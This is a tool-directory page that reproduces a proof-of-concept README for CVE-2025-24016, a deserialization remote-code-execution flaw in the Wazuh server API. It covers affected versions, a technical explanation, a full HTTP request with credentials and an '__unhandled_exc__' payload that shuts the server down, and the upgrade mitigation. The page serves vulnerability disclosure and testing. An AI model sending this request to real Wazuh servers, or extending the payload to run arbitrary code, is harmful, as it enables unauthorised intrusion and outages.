Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-24016 — CVE-2025-24016: RCE in Wazuh server! Remote Code Execution | Kitploit
Tools/GitHubGitHub/muhammadwaseem29/cve-2025-24016
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubmuhammadwaseem29/cve-2025-24016

CVE-2025-24016

CVE-2025-24016: RCE in Wazuh server! Remote Code Execution

View Repository
5301 year agoNot yet reviewed
Website
Share

Wazuh Remote Code Execution (RCE) - PoC

Vulnerability Overview

This repository demonstrates the remote code execution (RCE) vulnerability in the Wazuh server, introduced by an unsafe deserialization in the wazuh-manager package. The vulnerability allows remote attackers with API access (compromised dashboard, Wazuh servers in the cluster, or certain configurations with compromised agents) to execute arbitrary code on the server.

Affected Versions

  • wazuh-manager version >= 4.4.0
  • Patched in version >= 4.9.1

Description

The vulnerability occurs in the Wazuh API, where parameters in the DistributedAPI are serialized as JSON and deserialized using as_wazuh_object in the framework/wazuh/core/cluster/common.py file. An attacker can exploit this vulnerability by injecting an unsanitized dictionary into DAPI requests, which may lead to the evaluation of arbitrary Python code.

The RCE can be triggered using the run_as endpoint, which allows the attacker to control the auth_context argument. By crafting a malicious request, arbitrary code can be executed on the master server.

Proof of Concept

To trigger this vulnerability using the server API, follow the steps below.

PoC Burp Suite Request

  1. Burp Suite Request to Trigger the Vulnerability:
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==  # Base64-encoded "wazuh-wui:MyS3cr37P450r.*-"
Content-Type: application/json
Content-Length: 83

{
  "__unhandled_exc__": {
    "__class__": "exit",
    "__args__": []
  }
}

Solution Image

  1. Explanation of Request:
  • Authorization Header: This is the base64-encoded authorization (wazuh-wui:MyS3cr37P450r.*-).
  • Payload: The malicious payload contains the unsanitized exception __unhandled_exc__ which triggers the execution of arbitrary Python code (exit in this case).

Impact

  • Remote Code Execution (RCE): This vulnerability allows attackers to execute arbitrary code on the Wazuh server, affecting versions >= 4.4.0 up to 4.9.0 (not patched yet).
  • Potential Denial of Service: In this PoC, the exit function is triggered, causing the Wazuh server to shut down.

Mitigation

To protect your systems, upgrade to Wazuh version >= 4.9.1 where this issue is patched.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    930
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    554
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    354
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    349
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →